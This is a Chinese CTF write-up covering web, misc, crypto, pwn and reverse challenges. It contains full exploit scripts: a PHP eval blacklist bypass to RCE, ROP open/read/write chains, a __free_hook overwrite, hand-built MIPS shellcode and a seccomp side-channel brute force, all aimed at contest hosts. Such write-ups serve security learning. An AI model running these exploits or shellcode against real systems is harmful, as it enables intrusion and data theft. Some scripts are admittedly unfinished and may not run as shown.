來啦!
今天也是活力滿滿的工作日小編
WEBcalc
解題思路
<?phperror_reporting ( 0 );if(!isset( $_GET [ 'num' ])){ show_source ( __FILE__ );}else{ $str = $_GET [ 'num' ]; $blacklist = [ '[a-z]' , '[\x7f-\xff]' , '\s' , "'" , '"' , '`' , '\[' , '\]' , '\$' , '_' , '\\\\' , '\^' , ',' ]; foreach ( $blacklist as $blackitem ) { if ( preg_match ( '/' . $blackitem . '/im' , $str )) { die( "what are you want to do?" ); } } @eval( 'echo ' . $str . ';' );}?>fuzz一下沒被ban的字符:
URLENCODE:%251,URLDECODE:%1URLENCODE:%250,URLDECODE:%0URLENCODE:%251,URLDECODE:%1URLENCODE:%252,URLDECODE:%2URLENCODE:%253,URLDECODE:%3URLENCODE:%254,URLDECODE:%4URLENCODE:%255,URLDECODE:%5URLENCODE:%256,URLDECODE:%6URLENCODE:%257,URLDECODE:%7URLENCODE:%258,URLDECODE:%8URLENCODE:%259,URLDECODE:%9URLENCODE:%10,URLDECODE:URLENCODE:%11,URLDECODE:URLENCODE:%12,URLDECODE:URLENCODE:%13,URLDECODE:URLENCODE:%14,URLDECODE:URLENCODE:%15,URLDECODE:URLENCODE:%16,URLDECODE:URLENCODE:%17,URLDECODE:URLENCODE:%18,URLDECODE:URLENCODE:%19,URLDECODE:URLENCODE:%1A,URLDECODE:URLENCODE:%1B,URLDECODE: URLENCODE:%1C,URLDECODE:URLENCODE:%1D,URLDECODE:URLENCODE:%1E,URLDECODE:URLENCODE:%1F,URLDECODE:URLENCODE:%21,URLDECODE:!URLENCODE:%23,URLDECODE:URLENCODE:%25,URLDECODE:%URLENCODE:%26,URLDECODE:&URLENCODE:%28,URLDECODE:(URLENCODE:%29,URLDECODE:)URLENCODE:%2A,URLDECODE:*URLENCODE:%2B,URLDECODE:+URLENCODE:-,URLDECODE:-URLENCODE:.,URLDECODE:.URLENCODE:%2F,URLDECODE:/URLENCODE:0,URLDECODE:0URLENCODE:1,URLDECODE:1URLENCODE:2,URLDECODE:2URLENCODE:3,URLDECODE:3URLENCODE:4,URLDECODE:4URLENCODE:5,URLDECODE:5URLENCODE:6,URLDECODE:6URLENCODE:7,URLDECODE:7URLENCODE:8,URLDECODE:8URLENCODE:9,URLDECODE:9URLENCODE:%3A,URLDECODE::URLENCODE:%3B,URLDECODE:;URLENCODE:%3C,URLDECODE:<URLENCODE:%3D,URLDECODE:=URLENCODE:%3E,URLDECODE:>URLENCODE:%3F,URLDECODE:?URLENCODE:%40,URLDECODE:@URLENCODE:%7B,URLDECODE:{URLENCODE:%7C,URLDECODE:|URLENCODE:%7D,URLDECODE:}URLENCODE:%7E,URLDECODE:~我們可以使用的有數字、特殊符號以及一些運算符,運算符有這些:
< 、=、>、+、*、!、&、|、~、%
我們可以通過科學運算法的方式拿到字符串0-9、E、+、.:
?num=(1000000000000000000000).(2)
返回:1.0E+212
最後一個字符是我們可控的,可以令其為0-9任意一個數字,這樣拼接起來後返回的就是一個字符串,並且我們還可以控制最後一位。
?num=((1000000000000000000000).(2)){1}
如上可以獲得.這個符號,經過測試,數字與任意字符串進行除法運算,可以獲得三個字母I、N、F。
因為題目中不允許使用引號,所以這裡的字符串可以用第一步獲取到的E、.、0-9來替換。
通過"1"|"E","3"|"E"的方式,可以獲取到u和w兩個字母。
現在我們擁有了這些可以使用的東西:
0-9、.、+、I、N、F、u、w、}
將他們組合起來,相互進行或、和、取反運算,並取上一次的運算結果作為下一次運算的參數。
代碼:
strings = ['0','1','2','3','4','5','6','7','8','9','E','u','w','}','+','.','I','N','F']
input_value = 'n'
for s in strings: for s1 in strings: data = (chr(ord(s)|ord(s1))).strip() if data not in strings: strings.append(data) if data == input_value: # print(data) print('success',s,'|',s1)
print(len(strings))
for s in strings: for s1 in strings: data = (chr(ord(s)&ord(s1))) data = data.strip() if data == input_value: # print(data) print(1) print('success',s,'&',s1)print(len(strings))for s in strings: for s1 in strings: data = (chr(ord(s)|ord(s1))).strip() if data not in strings: strings.append(data) if data == input_value: # print(data) print('success',s,'|',s1)print(len(strings))for s in strings: for s1 in strings: try: data = (chr(ord(s)&ord(s1))).strip() except: continue if data not in strings: strings.append(data)
if data == input_value: print(data) # print(data) print('success',s,'|',s1)
for s in strings: try: data = chr(~ord(s)) except: continue data = data.strip() if data not in strings: strings.append(data) print(data) if data == input_value: # print(data) print('success',s,'|')
input_value = 's'print(strings)此時我們以及可以獲得到這些字符串了:
接著就是一個一個拼的過程了,最終採用system(getallheaders{1})的方式進行rce:
調用readflag的腳本:
((((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).((((999**999).(1)){0})&(((999**999).(1)){1})).(((((2).(0)){0})|(((999**999).(1)){2}))&((((0/0).(0)){1})|(((1).(0)){0}))).(((999**999).(1)){0}).(((999**999).(1)){1}).(((999**999).(1)){2}).((((999**999).(1)){0})|(((999**999).(1)){1})))()第一遍構造的是system(/readflag) 發現要算數
接著構造 system(next(getallheaders()))
((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((1).(0)){0}|((1/0).(0)){0}).(((((2).(0)){0}){0})|(((0/0).(0)){1})).((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0})).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))))((((0/0).(0)){0}.(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((1/0).(0)){0}&((1/0).(0)){1})|(((8).(0)){0})).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))))(((((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).(((((1/0).(0)){0}&((1/0).(0)){2})|(((4).(0)){0}))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((0/0).(0)){0})).((((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1})))|((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((0/0).(0)){0})).(((1/0).(0)){0}&((1/0).(0)){1}).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((0/0).(0)){0}&(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).(((((1/0).(0)){0}&((1/0).(0)){2})|(((2).(0)){0}))).(((((2).(0)){0}){0})|(((0/0).(0)){1})))()));打過去的時候都需要進行url編碼一下
最終結果:
Miscmysql_interface
解題思路
考察tidb的parse
利用已有代碼重現parse過程,注意安裝的時候安裝對應的版本的包
go mod init testgo get "github.com/pingcap/parser@v3.1.2-0.20200507065358-a5eade012146+incompatible"go get "github.com/pingcap/tidb/types/parser_driver@v1.1.0-beta.0.20200520024639-0414aa53c912"package main
import ( "fmt" "github.com/pingcap/parser" _ "github.com/pingcap/tidb/types/parser_driver" )
var isForbidden = [256]bool{}
const forbidden = "\x00\t\n\v\f\r`~!@#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"
func init() { for i := 0; i < len(forbidden); i++ { isForbidden[forbidden[i]] = true }}
func allow(payload string) bool { if len(payload) < 3 || len(payload) > 128 { fmt.Println("length") return false } for i := 0; i < len(payload); i++ { if isForbidden[payload[i]] { fmt.Println("isForbidden") return false } } if _, _, err := parser.New().Parse(payload, "", ""); err != nil { fmt.Println("[*] parser success") return true } fmt.Println("parser error") return false}
func main() { payload := "select+flag from .flag" result := allow(payload) fmt.Println(result)}經過不斷瞎雞兒fuzz。最終發現在table_name這裡帶.可以過去
Cryto
easy_f(x)
解題思路
簡單解方程,513元,模下線性方程,用sage解個矩陣就好
這裡是是python結合sage的腳本,可能要稍微改改才能跑,還在改23333
import string from Crypto.Util.number import getPrime as getprime ,long_to_bytes,bytes_to_long,inversefrom pwn import *from pwnlib.util.iters import mbruteforcefrom hashlib import sha256#context.log_level = "debug"
#table='zxcvbnmasdfghjklqwertyuiopZXCVBNMASDFGHJKLQWERTYUIOP'
sh=remote("124.156.140.90","2333")sh.recvuntil("sha256(XXXX+")suffix=sh.recv(len('SLhlaef5L6nM6pYx')).decode('utf-8')sh.recvuntil("== ")cipher=sh.recv(len('3ade7863765f07a3fbb9d853a00ffbe0485c30eb607105196b0d1854718a7b6c')).decode('utf-8')sh.recvuntil("Give me XXXX:")proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendline(proof)sh.recvuntil("M=")m = int(sh.recvuntil("\n")[:-1])sh.recvuntil("want?\n")sh.sendline("513")x=[]r=[]for _ in range(513): sh.recvuntil("f(") x.append(int(sh.recvuntil(")")[:-1])) sh.recvuntil("=") r.append(int(sh.recvuntil("\n")[:-1]))
#sage:a=[]for i in x: b=[] for j in range(513): b.append(pow (i, j, m)) a.append(b)
y=[]for i in r: y.append(i)A=Matrix(Zmod(m),a)Y=vector(y)X = A.solve_right(Y) sh.sendline(str(X[0]))sh.interactive()
Pwnbf
解題思路
漏洞在-[]可以循環執行[]括號裡面的命令,這裡會造成一個單字節溢出,溢出剛好可以修改code的指針值。然後後面就是單字節溢出在棧上的利用了。不過有一點需要注意,在函數退出,進行利用鏈之前,要將code指針還原,有個函數應該是對code指針進行析構了,不還原程序會crash.
from PwnContext import *from pwn import *#context.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug's = lambda data :ctx.send(str(data)) #in case that data is an intsa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb)ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)irt = lambda :ctx.interactive()rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)# misc functionsuu32 = lambda data :u32(data.ljust(4, '\x00'))uu64 = lambda data :u64(data.ljust(8, '\x00'))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'bf'libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")ctx.debug_remote_libc = Falselocal=0
def choice(): if(local): p=rs() else: ctx.remote = ('124.156.135.103',6002) p=rs('remote') return p
def debug(): if(local==1): libc_base = ctx.bases.libc print hex(libc_base) ctx.symbols = {'sym1':0x1B1A,'sym2':0x16D8,'sym3':0x1BCB,'sym4':0x1BFE} ctx.breakpoints = [0x1B1A,0x16D8,0x1BCB,0x1BFE] ctx.debug()
#def exp(): payload="-[>+]," sla("enter your code:\n",payload) ru("ing...") s(p8(0x78)) ru("\x3a\x20") libc_base=uu64(r(6))-(0x7ffff740db97-0x00007ffff73ec000) leak("libc_base",libc_base) if libc_base&0xff !=0: raise Exception("no libc_base") sa("continue",'y') #pause() #debug() #pause() payload="-[>+]," sla("enter your code:\n",payload) ru("ing...") s(p8(0x88)) ru("\x3a\x20") stack=uu64(r(6)) leak("stack_addr",stack) #pause() if libc_base>>40 !=0x7f: raise Exception("no stack") leak("stack",stack) #pause() sa("continue",'y')
payload="-[>,]" sla("enter your code:\n",payload) ru("ing...") for i in range(0x400): s(p8(0x70)) sa("continue",'y')
rop_addr=stack-0x528 pop_rsp=0x0000000000003960+libc_base payload="[.]"+p64(pop_rsp)+p64(rop_addr) sla("enter your code:\n",payload) sa("continue",'y') pop_rdi_ret=0x000000000002155f+libc_base pop_rsi_ret=0x0000000000023e6a+libc_base pop_rdx_ret=0x0000000000001b96+libc_base open_addr=libc_base+libc.symbols["open"] read_addr=libc_base+libc.symbols["read"] puts_addr=libc_base+libc.symbols["write"] orw=p64(pop_rdi_ret)+p64(rop_addr+19*8)+p64(pop_rsi_ret)+p64(72)+p64(open_addr) orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(rop_addr+21*8)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr) orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(rop_addr+21*8)+p64(pop_rdx_ret)+p64(0x100)+p64(puts_addr)+'./flag\x00' payload="-[,>+]," sla("enter your code:\n",payload) for i in range(len(orw)): s(orw[i]) for i in range(0x400-len(orw)+1): s('\x40') #debug() sa("continue",'n')
while(1): try: p=choice() exp() break except Exception: p.close()irt()
note
解題思路
題目在檢查數組邊界時只檢查了最大值且使用了有符號數,導致數組下溢
from pwn import *prog = './note'p = process(prog)libc = ELF("./libc.so.6")p = remote("124.156.135.103", 6004) def add(idx, size): p.sendlineafter("Choice: ", '1') p.sendlineafter("Index: ", str(idx)) p.sendlineafter("Size: ", str(size))def show(idx): p.sendlineafter("Choice: ", '3') p.sendlineafter("Index: ", str(idx))def edit(idx, content): p.sendlineafter("Choice: ", '4') p.sendlineafter("Index: ", str(idx)) p.sendlineafter("Message: \n", content)def free(idx): p.sendlineafter("Choice: ", '2') p.sendlineafter("Index: ", str(idx))def exp(): add(0, 1) show(-5) p.recv(0x18) libc.address = u64(p.recv(6)+'\x00'*2)-0x00007fe3dafa1760+0x7fe3dadbc000 log.info("libc.address ==> " + hex(libc.address)) edit(-5, p64(libc.sym['__free_hook'])+p64(8)) edit(-5, p64(libc.address+0x106ef8)) free(0) p.interactive()if __name__ == '__main__': exp()mginx
解題思路
題目在檢查數組邊界時只檢查了最大值且使用了有符號數,導致數組下溢
$ checksec ./mginx [!] Did not find any GOT entries[*] '/home/kirin/xctf/mnigx/mginx' Arch: mips64-64-big RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x120000000) RWX: Has RWX segments這裡是實現的一個簡單的HTTP解析程序
程序在根據Content-Length計算第二次需要read的數據長度時存在邏輯問題,並且直接從第一次read的HTTP頭結尾開始read,可以造成棧溢出:
.text:0000000120001B00 dli $v0, 0x120000000 .text:0000000120001B04 daddiu $a1, $v0, (asc_1200021E0 - 0x120000000) .text:0000000120001B08 ld $a0, 0x10C0+haystack($fp) .text:0000000120001B0C dla $v0, strstr .text:0000000120001B10 move $t9, $v0.text:0000000120001B14 jalr $t9 ; strstr .text:0000000120001B18 nop.text:0000000120001B1C sd $v0, 0x10C0+var_10A0($fp) .text:0000000120001B20 ld $v0, 0x10C0+var_10A0($fp) .text:0000000120001B24 beqz $v0, loc_120001C70 .text:0000000120001B28 nop.text:0000000120001B2C ld $v0, 0x10C0+var_10A0($fp) .text:0000000120001B30 daddiu $v0, 4 .text:0000000120001B34 sd $v0, 0x10C0+var_10A0($fp) .text:0000000120001B38 ld $v0, 0x10C0+var_10A0($fp) .text:0000000120001B3C sd $v0, 0x10C0+var_1070($fp) .text:0000000120001B40 lw $v1, 0x10C0+var_10A8($fp) .text:0000000120001B44 daddiu $a0, $fp, 0x10C0+var_1038 .text:0000000120001B48 ld $v0, 0x10C0+var_10A0($fp) .text:0000000120001B4C dsubu $v0, $a0 .text:0000000120001B50 sll $v0, 0 .text:0000000120001B54 subu $v0, $v1, $v0 .text:0000000120001B58 move $v1, $v0.text:0000000120001B5C lw $v0, 0x10C0+var_1068($fp) .text:0000000120001B60 addu $v0, $v1, $v0 .text:0000000120001B64 sw $v0, 0x10C0+var_10B8($fp) .text:0000000120001B68 daddiu $v1, $fp, 0x10C0+var_1038 .text:0000000120001B6C lw $v0, 0x10C0+var_10A8($fp) .text:0000000120001B70 daddu $v0, $v1, $v0 .text:0000000120001B74 sd $v0, 0x10C0+buf($fp) .text:0000000120001B78 b loc_120001BD0 .text:0000000120001B7C nop.text:0000000120001B80 .text:0000000120001B80.text:0000000120001B80 loc_120001B80: .text:0000000120001B80 lw $v0, 0x10C0+var_10B8($fp) .text:0000000120001B84 move $a2, $v0 .text:0000000120001B88 ld $a1, 0x10C0+buf($fp) .text:0000000120001B8C move $a0, $zero .text:0000000120001B90 dla $v0, read .text:0000000120001B94 move $t9, $v0.text:0000000120001B98 jalr $t9 ; read .text:0000000120001B9C nop.text:0000000120001BA0 sw $v0, 0x10C0+var_1094($fp) .text:0000000120001BA4 lw $v0, 0x10C0+var_1094($fp) .text:0000000120001BA8 blez $v0, loc_120001BE4 .text:0000000120001BAC nop.text:0000000120001BB0 lw $v0, 0x10C0+var_10B8($fp) .text:0000000120001BB4 ld $v1, 0x10C0+buf($fp) .text:0000000120001BB8 daddu $v0, $v1, $v0 .text:0000000120001BBC sd $v0, 0x10C0+buf($fp) .text:0000000120001BC0 lw $v1, 0x10C0+var_10B8($fp) .text:0000000120001BC4 lw $v0, 0x10C0+var_1094($fp) .text:0000000120001BC8 subu $v0, $v1, $v0 .text:0000000120001BCC sw $v0, 0x10C0+var_10B8($fp) .text:0000000120001BD0.text:0000000120001BD0 loc_120001BD0: .text:0000000120001BD0 lw $v0, 0x10C0+var_10B8($fp) .text:0000000120001BD4 bnez $v0, loc_120001B80 .text:0000000120001BD8 nop.text:0000000120001BDC b loc_120001BE8 .text:0000000120001BE0 nop類似payload:"GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b0
程序沒有開啟NX保護,但是mips沒有類似jmp rsp的操作
考慮先遷移棧到data段,而後再次棧溢出即可
(這裡orw的shellcode,賽時沒找到合適的as,為了趕時間,直接對照題目的elf文件中彙編到機器碼的規則,以及題目uclibc中特定函數的syscall參數,人工翻譯出來的orz)
from pwn import *import syscontext.log_level="debug"context.endian="big"if len(sys.argv)==1: p=process(["qemu-mips64","-g","1234","-L","./","./mginx"]) time.sleep(3)elif len(sys.argv)==2: p=process(["qemu-mips64","-L","./","./mginx"]) else: p=remote("124.156.129.96",8888)
payload1="GET /flag \r\nConnection: keep-alie\r\nContent-Length: 1000\r\n\r\n"+"a"*0x9b1p.send(payload1)ra=0x1200018C4fp=0x120012540gp=0x12001a250payload="b"*(0x654-0x20)+p64(gp)+p64(fp)+p64(ra)+"d"*8payload=payload.ljust(0xd98,"b")p.sendline(payload)p.recvuntil("404 Not Found :(")
p.sendline(payload1)ra=0x120013608shellcode="\xc8\xff\xa4\x67"[::-1]shellcode+="\xff\xff\x05\x28"[::-1]shellcode+="\xff\xff\x06\x28"[::-1]shellcode+="\x8a\x13\x02\x24"[::-1]shellcode+="\x0c\x00\x00\x00"[::-1]shellcode+="\x00\x40\x20\x25"shellcode+="\xc0\xff\xa5\x67"[::-1]shellcode+="\x24\x06\x00\x28"shellcode+="\x88\x13\x02\x24"[::-1]shellcode+="\x0c\x00\x00\x00"[::-1]shellcode+="\x24\x04\x00\x01"shellcode+="\xc0\xff\xa5\x67"[::-1]shellcode+="\x24\x06\x00\x28"shellcode+="\x89\x13\x02\x24"[::-1]shellcode+="\x0c\x00\x00\x00"[::-1]f="/flag"payload="b"*(0x653-0x40)+f+"\x00"*(0x28-len(f))+p64(fp)+p64(ra)+"d"*8+shellcode+"a"*(0xd99-0x654-len(shellcode))p.sendline(payload)p.sendline()p.interactive()no write
解題思路
$ checksec ./no_write [*] '/home/kirin/xctf/no_write/no_write' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)程序用prctl開啟了沙箱,沙箱規則:
$ seccomp-tools dump ./no_write line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010 0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009 0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL只能進行open read 和exit
因為沒有leak,所以首先要做的就是棧遷移,直接通過連續復用leave ret語句即可
因為這裡沒有syscall,所以想辦法在棧中留下一個syscall
觀察發現遷移棧後rcx=libc中read地址附近一個地址:
.text:000000000011007F syscall ; LINUX - sys_read.text:0000000000110081 cmp rax, 0FFFFFFFFFFFFF000h.text:0000000000110087 ja short loc_1100E0.text:0000000000110089 rep retn.text:0000000000110090 loc_110090: ; CODE XREF: read+B↑j.text:0000000000110090 push r12.text:0000000000110092 push rbp.text:0000000000110093 mov r12, rdx.text:0000000000110096 push rbx.text:0000000000110097 mov rbp, rsi.text:000000000011009A mov ebx, edi.text:000000000011009C sub rsp, 10h.text:00000000001100A0 call sub_1306E0.text:00000000001100A5 mov rdx, r12 ; count.text:00000000001100A8 mov r8d, eax.text:00000000001100AB mov rsi, rbp ; buf.text:00000000001100AE mov edi, ebx ; fd.text:00000000001100B0 xor eax, eax.text:00000000001100B2 syscall偏移:0x110081位置
附近恰好有syscall地址,所以想到直接利用調用start中的libc_start_main來在棧中構造syscall地址
簡單說明一下:libc_start_main邏輯:在重新執行0x110081位置後,會直接ret入libc_start_main指定的"main函數"地址,這時候rbp=rcx,push入棧
在棧中留下一個syscall附近地址後(read附近的syscall可以順利ret,沒有crash),只需要多次寫,構造一條rop鏈,並修改地址低字節,就可以實現open("./flag");read(fd,flag_addr,len);
flag讀入data段後,因為沒有輸出,所以要選擇一條已知地址的cmp語句來實現判斷,一一看過之後最後選擇:
.text:0000000000400750 loc_400750: ; CODE XREF: __libc_csu_init+54↓j.text:0000000000400750 mov rdx, r15.text:0000000000400753 mov rsi, r14.text:0000000000400756 mov edi, r13d.text:0000000000400759 call qword ptr [r12+rbx*8].text:000000000040075D add rbx, 1.text:0000000000400761 cmp rbp, rbx.text:0000000000400764 jnz short loc_400750.text:0000000000400766.text:0000000000400766 loc_400766: ; CODE XREF: __libc_csu_init+34↑j.text:0000000000400766 add rsp, 8.text:000000000040076A pop rbx.text:000000000040076B pop rbp.text:000000000040076C pop r12.text:000000000040076E pop r13.text:0000000000400770 pop r14.text:0000000000400772 pop r15.text:0000000000400774 retn只需讓flag放在合適位置,在調用.text:0000000000400766時候就可以讓flag其中一位pop入寄存器,而後再ret入0x400761這個位置,兩個思路:
直接通過比較rbp和rbx的值判斷flag:rbx是flag其中一位(其他位覆蓋為00位元組就可以實現一位一位pop),而後設置rbp為猜測值,這樣只有相等時,才會繼續走下面的ret,在ret位置放置read,就可以通過判斷是否阻塞來爆破每一位
第二種類似:控制r12,rbp=0,這樣總會走jnz程序流,這時候rbx為特定值,通過不斷修改r12,當r12+rbx*8位置處為read時發生阻塞,只需要在特定位置放置一個可以read的地址,r12從大到小,當第一次發生read阻塞時,r12+rbx*8就是已知的一個地址,r12已知,直接可以計算出rbx
賽時趕時間沒寫好完全的多線程腳本,通過修改current值(flag字符的index),一位一位爆破即可:
from pwn import *import time
context.log_level="debug"#p=process("./no_write")current=4for i in range(32,127): print i try: p=remote("129.211.134.166",6000) payload1="a"*0x10+p64(0x601f00)+p64(0x04006F5) time.sleep(0.5) p.send(payload1) payload2="a"*0x10+p64(0x601f00)+p64(0x0400773)+p64(0x4006bf)+p64(0x400771)+p64(0x601e70)+p64(0)+p64(0x400544) time.sleep(0.5) p.send(payload2) payload3=(p64(0x400772)+p64(0))*6+p64(0x04004f0) time.sleep(0.5) p.send(payload3) payload4=p64(0)*5+p64(0x400773)+p64(3)+p64(0x400771)+p64(0x601d00-current)+p64(0) payload4+=p64(0x4004f0)+p64(0x400773)+p64(0) payload4+=p64(0x400771)+p64(0x601e40)+p64(0)+p64(0x4004f0) payload4+=p64(0x400771)+p64(0x601e00)+p64(0)+p64(0x4004f0) payload4+=p64(0x40076d)+p64(0x601e28)+"./flag" f_addr=0x601f28 rop=p64(0x0400773)+p64(f_addr)+p64(0x400771)+p64(0)+p64(0)+"\xb2" time.sleep(0.5) p.send(payload4) time.sleep(0.5) p.send(rop) time.sleep(0.5) p.send("aa") payload5=p64(0x400771)+p64(0x601d01)+p64(0)+p64(0x4004f0) payload5+=p64(0x400771)+p64(0x601cf8)+p64(0)+p64(0x4004f0) payload5+=p64(0x40076d)+p64(0x601ce0)+p64(0)*13 payload5+=p64(0x40076d)+p64(0x601e28) time.sleep(0.5) p.send(payload5) r12=0 bp=i payload6="\x00"*7+p64(bp)+p64(r12)+p64(0)+p64(0x601f00)+p64(0x100)+p64(0x400761) payload6+=p64(0)*7+p64(0x4004f0)+p64(0x4004f0) time.sleep(0.5) p.send(payload6) #gdb.attach(p) time.sleep(0.5) p.send(p64(0x40076A)) print "current",chr(i) p.recvall() break except: print "fail"Reversego-flag
解題思路
go 多線程
長度F6的都是寫,fun1是讀,但是不知道什麼時候讀的
這些協程的運行於brainfuck的執行過程相似。
main_main_fun1作用比較明顯,就是接受輸入,並調用了runtime_chansend,那讀取數數據必然就要使用runtime_chanrecv,其交叉引用共了24個函數(用戶自寫函數),那麼要校驗輸入肯定要用自減,自減的循環數即是對應的正確字符。注意到如下賦值語句:
4BB29D 88 14 0E mov [rsi+rcx], dl以此字節碼搜索正好搜索到24處,dl即為輸入字符,[rsi+rcx-1]就是循環數。
.text:00000000004BB29D main_main_func446 mov [rsi+rcx], dl.text:00000000004C02BD main_main_func542 mov [rsi+rcx], dl.text:00000000004C53BD main_main_func639 mov [rsi+rcx], dl.text:00000000004CA2FD main_main_func734 mov [rsi+rcx], dl.text:00000000004CF85D main_main_func836 mov [rsi+rcx], dl.text:00000000004D4BFD main_main_func936 mov [rsi+rcx], dl.text:00000000004D9F9D main_main_func1036 mov [rsi+rcx], dl.text:00000000004DF4FD main_main_func1138 mov [rsi+rcx], dl.text:00000000004E47BD main_main_func1237 mov [rsi+rcx], dl.text:00000000004E9D1D main_main_func1339 mov [rsi+rcx], dl.text:00000000004EEC5D main_main_func1434 mov [rsi+rcx], dl.text:00000000004F3FFD main_main_func1534 mov [rsi+rcx], dl.text:00000000004F92BD main_main_func1633 mov [rsi+rcx], dl.text:00000000004FE81D main_main_func1735 mov [rsi+rcx], dl.text:0000000000503BBD main_main_func1835 mov [rsi+rcx], dl.text:00000000005091FD main_main_func1938 mov [rsi+rcx], dl.text:000000000050E75D main_main_func2040 mov [rsi+rcx], dl.text:0000000000513AFD main_main_func2140 mov [rsi+rcx], dl.text:000000000051905D main_main_func2242 mov [rsi+rcx], dl.text:000000000051E5BD main_main_func2344 mov [rsi+rcx], dl.text:0000000000523B1D main_main_func2446 mov [rsi+rcx], dl.text:0000000000528DDD main_main_func2545 mov [rsi+rcx], dl.text:000000000052DFBD main_main_func2643 mov [rsi+rcx], dl.text:00000000005336DD main_main_func2747 mov [rsi+rcx], dl下接腳本下斷,記錄dl值即可。
cipher
解題思路
題目 提供數據
0x2A, 0x00, 0xF8, 0x2B, 0xE1, 0x1D, 0x77, 0xC1, 0xC3, 0xB1, 0x71, 0xFC, 0x23, 0xD5, 0x91, 0xF4, 0x30, 0xF1, 0x1E, 0x8B, 0xC2, 0x88, 0x59, 0x57, 0xD5, 0x94, 0xAB, 0x77, 0x42, 0x2F, 0xEB, 0x75, 0xE1, 0x5D, 0x76, 0xF0, 0x46, 0x6E, 0x98, 0xB9, 0xB6, 0x51, 0xFD, 0xB5, 0x5D, 0x77, 0x36, 0xF2, 0x0A
是一道mips64的題目,考慮ida7.5才支持mips反編譯,所以只能上ghidra了。
main函數
cipher是關鍵函數
嵌套一個encrypt
嘗試angr爆破,由於大小端原因沒爆破出來,正在嘗試逆向腳本。
def ror(v,n): return ((v >> n) | (v << (64-n)))&0xffffffffffffffff
def encrypt(a,b,c,d ): b = (ror(b,8) + a ^ c)&0xffffffffffffffff a = ror(a,61) ^ b for i in range(0x1f): d = (ror(d,8) + c ^ i)&0xffffffffffffffff c = ror(c,61) ^ d b = (ror(b,8) + a ^ c)&0xffffffffffffffff a = ror(a,61) ^ b return a,b def decrypt(a,b,c,d): key = [d,c] for i in range(0x1f): key.append((ror(key[2*i],8) + key[2*i+1] ^ i)&0xffffffffffffffff ) key.append(ror(key[2*i+1],61) ^ key[2*i+2])
for i in range(0x1f,-1,-1): a = ror(a^b,3) b = ror(((b^key[2*i+1])-a)&0xffffffffffffffff,56) return a,b
